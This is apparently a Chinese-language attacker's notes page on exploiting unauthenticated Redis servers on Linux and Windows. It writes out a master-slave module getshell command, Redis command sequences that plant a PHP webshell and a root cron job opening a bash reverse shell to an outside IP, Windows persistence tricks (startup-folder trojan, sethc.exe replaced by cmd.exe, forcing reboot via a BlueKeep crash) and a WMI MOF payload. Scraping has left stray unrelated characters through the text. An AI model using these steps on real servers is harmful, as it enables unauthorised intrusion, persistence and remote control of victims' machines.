linux
未授權(quán)通常兩種方式利用:
一初橘、Redis版本在4.x、5.x上的主從getshell充岛。
二保檐、直接寫(xiě)入文件,寫(xiě)webshell崔梗、計(jì)劃任務(wù)夜只、ssh公鑰。
主從getshell
cd RedisModulesSDK/
make
cd ../
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
image.png
寫(xiě)文件
config set dir /tmp/ //設(shè)置目錄
config set dbfilename test.php //設(shè)置文件名
set shell "<?php phpinfo();?>" //寫(xiě)入內(nèi)容
save
//寫(xiě)計(jì)劃任務(wù)
//Centos的定時(shí)任務(wù)文件在/var/spool/cron/
//Ubuntu定時(shí)任務(wù)文件在/var/spool/cron/crontabs/
config set dir /var/spool/cron/
config set dbfilename 'root'
set shell "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.226.130/7891 0>&1\n\n"
save
//備注:
//debian,ubuntu反彈失敗蒜魄,他們對(duì)計(jì)劃任務(wù)的格式很?chē)?yán)格扔亥,需要執(zhí)行crontab -u root /var/spool/cron/crontabs/root
//運(yùn)行權(quán)限為非root權(quán)限场躯,反彈shell也是低權(quán)限
image.png
window
思路:
直接寫(xiě)webshell(需要絕對(duì)路徑)、寫(xiě)啟動(dòng)項(xiàng)(需要目標(biāo)重啟)旅挤、寫(xiě)dll踢关、寫(xiě)mof(win2003)、寫(xiě)sethc.exe
寫(xiě)文件的腳本用的是https://github.com/r35tart/RedisWriteFile
0x01
目標(biāo)為IIS服務(wù)器
默認(rèn)路徑為C:\inetpub\wwwroot
image.png
這個(gè)站剛寫(xiě)上txt成功訪(fǎng)問(wèn)了粘茄,然后6379就關(guān)了签舞,撈的一。
0x02
寫(xiě)用戶(hù)啟動(dòng)項(xiàng)
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
寫(xiě)一個(gè)馬柒瓣,如果目標(biāo)開(kāi)放了3389用0708打藍(lán)屏等他重啟
0x03
寫(xiě)?zhàn)べN鍵
image.png
把sethc.exe替換為cmd.exe儒搭。利用,要能夠進(jìn)入遠(yuǎn)程桌面界面芙贫,如果顯示如下的話(huà)需要使用舊版的mstsc
image.png
0x04
寫(xiě)mof搂鲫,
image.png
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"ping 7ps0jk.dnslog.cn \")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
參考文章
https://xz.aliyun.com/t/8153#toc-1
https://xz.aliyun.com/t/7940#toc-6